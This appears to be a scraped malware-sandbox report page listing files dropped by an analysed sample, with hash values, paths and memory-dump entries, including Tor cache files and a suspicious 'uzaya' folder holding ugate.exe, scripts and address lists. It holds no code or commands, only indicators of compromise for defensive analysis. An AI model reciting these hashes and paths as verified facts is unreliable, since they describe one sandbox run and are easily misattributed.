T11A367B6AA7A80189E4BAC13CC9534617D2B1F81A17B097CF19A1967D0F37FDA2B3D740
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libffi-8.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\libffi-8.dll
Size 38KB
SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
MD5 0f8e4992ca92baaf54cc0b43aaccce21
SHA1 c7300975df267b1d6adcbac0ac93fd7b1ab49bd2
SHA512 6e1b223462dc124279bfca74fd2c66fe18b368ffbca540c84e82e0f5bcbea0e10cc243975574fa95ace437b9d8b03a446ed5ee0c9b1b094147cefaf704dfe978
SSDEEP 768:NiQfxQemQJNrPN+moyijAc5YiSyvkIPxWEqG:dfxIQvPkmoyijP7SytPxF
TLSH
T10B037C0B458418A4E657D53D97A64A2AC335B9240B60F2CB03D4C2BA3F6B7D6FB7C358
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_psutil_windows.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\psutil\_psutil_windows.pyd
Size 69KB
SHA256 0035450801bd7d938e9e146c5ec28e619cb5a5f4a18cdc53ac7e9734c7f94f78
MD5 0a66d22d2ac4f9d41e1605b8d05de77b
SHA1 062de44628065f96d8137a2f04d1a88cc560b56b
SHA512 aa246c8d757a5be47e529889376faf9c94a5e377b20b418c4c7fa83e00c01060b01a887ebc662ab7bd42a6dac53abaac3a41b48b6a6f336d798c2ae782f80b5a
SSDEEP 768:axgqyAz7MqVIiOSzTVCeur2wTljgUd+mZnJGL0kKoPVMDw4xulnFn9mcBQ3S3X/:uZzwq2+SBRJdpZnJbPoPVM04YnUjHmC
TLSH
T121631895B35900F8C91B913D9EB26A37E7B2B091132657CF0160D68A0FA3BD36E7DB41
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pyarmor_runtime.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\pyarmor_runtime_000000\pyarmor_runtime.pyd
Size 625KB
SHA256 5f52df201d3046c0bd0c9287d702b2cba714fc6ffbc53875067ec21fa1c425e3
MD5 3403ae1bbbe8bad908c0ef0d2aa3cf2e
SHA1 2f1ed024f8768f9c2a9f049e5c06be302e071d1f
SHA512 598c3dc3ee0988cdc6a2dd0ef2347273f494b53ea2e29e7bc4a89e9140e0a1ff82fd9981c68be6c4ffe45ed0640479b939e11fcee18ca0386977e7a9e3a5309f
SSDEEP 12288:a9Vtet7AtRTshSvnctjdcg7fUoPtuyOVnE8IaEUk:a9fQoctjdcg7fUoPtuyOVntkU
TLSH
T124D4294BE1FA29D0E6B6D17C078BF2337C3ABA488160775B755CD3A127D0A5212E5F22
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

python3.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\python3.dll
Size 68KB
SHA256 a5c6a329698490a035133433928d04368ce6285bb91a9d074fc285de4c9a32a4
MD5 16855ebef31c5b1ebe767f1c617645b3
SHA1 315521f3a748abfa35cd4d48e8dd09d0556d989b
SHA512 c3957b3bd36b10c7ad6ea1ff3bc7bd65cdceb3e6b4195a25d0649aa0da179276ce170da903d77b50a38fc3d5147a45be32dbcfdbfbf76cc46301199c529adea4
SSDEEP 768:pQEotsskOv6pWVCB4p/uKlZPRQcFIc9qunV0Jku/YFI1Hu1wEBbCpVNyD6VdPxiD:/otssyKcunV8PjZIJy0i7SyWH1
TLSH
T14B635CD26B57F8A2D6F669FC38DD99CD142B12CC83258DDFA57893920F1A310A22734D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

python313.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\python313.dll
Size 5.8MB
SHA256 0c0a66505093b6a4bb3475f716bd3d9552095776f6a124709c13b3f9552c7d99
MD5 b9de917b925dd246b709bb4233777efd
SHA1 775f258d8b530c6ea9f0dd3d1d0b61c1948c25d2
SHA512 f4bf3398f50fdd3ab7e3f02c1f940b4c8b5650ed7af16c626ccd1b934053ba73a35f96da03b349c1eb614bb23e0bc6b5cc58b07b7553a5c93c6d23124f324a33
SSDEEP 49152:fXGc3O7T4DKX+vLFMmKYxiAYNBD987KdJlI9HbeX2jrgQcw6Zc4h67mM+XDQ3bLi:Of42zJiwJl/YF7v3vaHDMiEN3Kr
TLSH
T1E9568D16729D40ADC97B8078CA038A4BF7B27C417F60534B61A6BB5E2F733624B6E705
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

select.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\select.pyd
Size 30KB
SHA256 78e5994c29d8851f28b5b12d59d742d876683aea58eceea1fb895b2036cdcdeb
MD5 20831703486869b470006941b4d996f2
SHA1 28851dfd43706542cd3ef1b88b5e2749562dfee0
SHA512 4aaf5d66d2b73f939b9a91e7eddfeb2ce2476c625586ef227b312230414c064aa850b02a4028363aa4664408c9510594754530a6d026a0a84be0168d677c1bc4
SSDEEP 384:7hhxm9tKLhuoNHfzzlvFy0ZZIJ9GckHQIYiSy1pCQ4HWSJIVE8E9VF0Ny6sC:tCytHf98uZIJ9Gx5YiSyvy2ES
TLSH
T1A7D28E47AF605846D923C972A8E28F26ED35B752875082CF3268C15D0F627C27B7B3E5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

unicodedata.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\unicodedata.pyd
Size 693KB
SHA256 2693c7ee4fba55dc548f641c0cb94485d0e18596ffef16541bd43a5104c28b20
MD5 0902d299a2a487a7b0c2d75862b13640
SHA1 04bcbd5a11861a03a0d323a8050a677c3a88be13
SHA512 8cbef5a9f2d24da1014f8f1ccbddd997a084a0b04dd56bcb6ac38ddb636d05ef7e4ea7f67a085363aad3f43d45413914e55bdef14a662e80be955e6dfc2feca3
SSDEEP 12288:FYGdLI/X77mvfldCKGihH32W3cnPSqrUgLIe:FYGW7qNxr3cnPXLIe
TLSH
T1F9E4F6D5BBCF8D26E69B363A48E3710F5171C2735F0A863BB2182361D85B3B449D582E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_h3vuz0uq.yoj.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_h3vuz0uq.yoj.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

cached-microdesc-consensus.tmp

Path C:\Users\Admin\AppData\Roaming\tor\cached-microdesc-consensus.tmp
Size 3.4MB
SHA256 f50eb6cc5af5e3c7c63d0f7058fc796398e008d977242cccee32f1d1a93d3d8c
MD5 3949d2fd4fb43200099e51be0b486da1
SHA1 6e85acaa2747fe221f3348bc70414059d7f4a907
SHA512 e33fa23399688852809f3a3022cbffe466e345e7f153aed3b224c8bea05a4352c0ef2adcf2188d0a5ea104144d52e32854fd1ef49ba3aa08dd131a5ec81d2765
SSDEEP 12288:9HFJS4+TD1o1IM+YRM3iHKfcN3BIa9CoeVmVtutQVUeSb3KtZlyuyfYs+KxWXfU0:1+31oMOK0FB8RV+utQNSb6j4CmGK0TT
TLSH
T1C6F554EA97124EEED22A09DBE510FB7BF33F2725C2486B94296F4CFA7205091751093D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cached-microdescs.new

Path C:\Users\Admin\AppData\Roaming\tor\cached-microdescs.new
Size 9.7MB
SHA256 e0850e00cb982ecffb8ed8742175e0e030a7b4222e4f1f48f9a6fbe3a81bfd6e
MD5 3a8c74386afd09bb44afa5f5511216e8
SHA1 0b0e50d7ebd826f0f0fb9f80deeba4eef4ac5375
SHA512 4fce60b753f1d5f683069f73a03e6733623d0bec1b96a1099df93eb852b33ed479bb1450b8f9e6a1c2efa6b02172c73a408fcfb14bb8f6a81e5deb547b29d7c0
SSDEEP 24576:ok1BV/anVkISV4mLVUSVqVPVk9VGVYVh1V+VsHeLVVlQkYVDJl+zVjZdVvVdGqP5:GbduZSqg
TLSH
T1EBA6AEDA49AB04C15E05E7CDEC2603C3DB144A3A4B6041A172EAF5677F332AFC55EA39
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

GUID

Path C:\Users\Public\Documents\uzaya\GUID
Size 13B
SHA256 9d90da9560b260daedaab7209724e333ba183086aa87003d342e5f3ad1395773
MD5 f7f1894f372639442d96739ac9570ce1
SHA1 dc87c75a976dfb007824acef48b660e5812a9038
SHA512 ff161bf279d6b4730f9f280d90696b552b4294e1a10e66ae6f9c7ef4b7a5f50e14dc3396ddfd23553d757cdf9c1fce2a971254dcbaaaa67071fc40979f31f95c
MD5 SHA1 SHA512

Submit Download

addrs.txt

Path C:\Users\Public\Documents\uzaya\addrs.txt
Size 1.4MB
SHA256 9de315d175129958a383e63d31807d9a18c6799b3b951d254514440474820c12
MD5 b13217f3e7f63d23fd5def0734b95066
SHA1 eabd229940a8e05162ac111bf3f35cb4d90425f1
SHA512 51806ad13860a5078f68caa5132d42ff6d591e5f816f41bd0d92c2ea66fe50a75cae48c0b4f0c4a179f7a4a4e5594e97d68e43e1d60d0c652080021ded894d0a
SSDEEP 24576:/SPnmU2UBGNqozEiMuE3GDwmU3n044vlsm1x+0ef:VRxdaeV44dsma
TLSH
T13B6502BCF21DDB890D295EEEF225EDC723B931C11911025EC3EC956236BC42BA9C9497
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ocafa.js

Path C:\Users\Public\Documents\uzaya\ocafa.js
Size 51KB
SHA256 bafdb19cd0ffb7f69c99e26967eec6abf08326f7b03c9576decdf3444bd4014e
MD5 fc31d707cb8d9339aba5dece8233d68f
SHA1 65fa1f6ef2a153f36464f294feaff02134783a92
SHA512 b5de435516df9360a55ec363196ead60b77d6e4d0471e14a95a909a41a865ba44805122dbed4d4277bfdc334c04d7975ddbdacc5905a60101bab74cd3e408588
SSDEEP 1536:PRWPyC7mshmrS3n7A0DyLSNrDRGZ6eM2P:PwPyC6DInDDymNr1GEeMS
TLSH
T14533AF70A1375AE583CB6605E0FE19C48EDCD4EB06D09B3AD6DC2963195CD8BB9378B0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ocafa.xml

Path C:\Users\Public\Documents\uzaya\ocafa.xml
Size 3KB
SHA256 bb6c1575e7e73d6e1b07d6748eee6bbc32ddeed2be2a1829c2900240a8873dfd
MD5 5adad9f005cee6eb8c244dbd97ca66d8
SHA1 fca6ef8eca4303723fc59469aea385559a4fe258
SHA512 9bbd84c1f8c78d8eb80093787c699e19393cf4fbc5e5fca494894d53956c9617ad9c28f7475558f081645a62da259bbf1b6912f2fc5a2c32a7b8383a5dc11843
TLSH
T11B715A53A7EE1119F2F36B2CAEB710618E677D555A38C46D00AC240DCBF3E6289607B7
MD5 SHA1 SHA512 TLSH

Submit Download

ufino.js

Path C:\Users\Public\Documents\uzaya\ufino.js
Size 32KB
SHA256 ce922470dfbccd91c2546b495ed856a5e20fb2334379c2db36ea0b7bdc7efc20
MD5 80221ba4d7ff537bb41181bd6b0e6cac
SHA1 f1a384b4278394ded22aac60781f6220a7027225
SHA512 7cae72fb55f94d5bb0a6901ce1acc6701823edcf1cca8fc3cb27b2fe136f6cc00d88028c2e7e743e35ca1f5adab28b7a7f3b574490f4bbd72e324a352c99c611
SSDEEP 768:L8FehFTh4rUrMBe5UjA0ltT9NJk9OwBAn/4S0IlLd+9zAbt7MNv0tp:L/hF6AwBeOA07pSi/gIriz+MFs
TLSH
T15DE28D39EA519D7447C2DB7068F01ED9E9E8AFB2C07537182A68C53B0DA171EB0758B0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ufino.xml

Path C:\Users\Public\Documents\uzaya\ufino.xml
Size 3KB
SHA256 5cbfa3e18446434aa15a3ed44d636c5e8f2c05c77916a4383692e6223b5c5064
MD5 a9df84825ebc6524d52dcf1fcbb242f5
SHA1 2da179efd1dfedcf904983d682ed2495e37adff9
SHA512 0d53c6d1981c17279619e7734d7f73d47c662feb06c0bbced3618cc092346e40fb95945a0c54bf37030bd48d2bd3c3e89a30232fb6c7d91fdd73804540aa84df
TLSH
T1D871395367EE1119F2F36B2CAEB710618E677D555A38C46D00AC240DCBF3E6285607B7
MD5 SHA1 SHA512 TLSH

Submit Download

ugate.exe

Path C:\Users\Public\Documents\uzaya\ugate.exe
Size 8.6MB
SHA256 6b866c187a0dee2fb751a8990d50dc1ed83f68e025720081e4d8e27097067dc8
MD5 5d132fb6ec6fac12f01687f2c0375353
SHA1 8a14c93548156a67789a7da7f6dd4ea0ca91519e
SHA512 2d228d08abf30d9480b718c84fa007c477adb02b051b6c26407742e496163434ce891af6a2448ff7e063fe05a8325fe624beab472a62bccf418d3ae96dae6d56
SSDEEP 98304:wdv+gCCDJQT3poOlGzu4Y+x0/44wBc1RdhqwJglPtUCGGEW1:gKC+TtIOw21RdYUzps
TLSH
T10B960B03E63261DEC5FAC139952A7323F8B03CDD8A35E767455093A22B74B64AE3DB14
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

words.txt

Path C:\Users\Public\Documents\uzaya\words.txt
Size 14KB
SHA256 d2bd2aeb50ac5df60c1eb10afcec2b680d5a8a9f2bbc74a15c45bf3525528334
MD5 51ca2264f5b3ad532a4d6dae175e1750
SHA1 3dc996beb38928c70fca66658c46b00092ae6532
SHA512 6c169854acd97daf85ebfbefb78ae9b1ce249e8c6a79c7eaa42bcf6c546e6e14bae25bbe989b2e2d07d9ba92a69908b320534b0b97e5ba305bd783273e8d1e55
SSDEEP 384:p05yXB6/x5qa8cmytcR8D6a0meg4bkTc3Nx:p05Vx5qa/mytcR8D6Geg4bkT2
TLSH
T1D462843E928290DA9EAE6BC5C0043097F22D50525F47350966CB6AED304EE7CFB09F72
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1564-150-0x00007FF7DBB50000-0x00007FF7DBB82000-memory.dmp

Download

memory/1564-82-0x00007FF7DBB50000-0x00007FF7DBB82000-memory.dmp

Download

memory/3516-148-0x00007FF7DBB50000-0x00007FF7DBB82000-memory.dmp

Download

memory/3516-149-0x0000000070180000-0x000000007022B000-memory.dmp

Download

memory/3516-92-0x00007FF7DBB50000-0x00007FF7DBB82000-memory.dmp

Download

memory/3516-93-0x0000000070180000-0x000000007022B000-memory.dmp

Download

memory/3632-95-0x0000020BDD500000-0x0000020BDD71C000-memory.dmp

Download

memory/4336-124-0x000001D2F7E60000-0x000001D2F807C000-memory.dmp

Download

memory/4488-62-0x000001FA7C280000-0x000001FA7C290000-memory.dmp

Download

memory/4488-61-0x000001FA7C280000-0x000001FA7C290000-memory.dmp

Download

memory/4488-70-0x000001FA63EA0000-0x000001FA63EC2000-memory.dmp

Download

memory/4892-114-0x0000028AF2740000-0x0000028AF295C000-memory.dmp

Download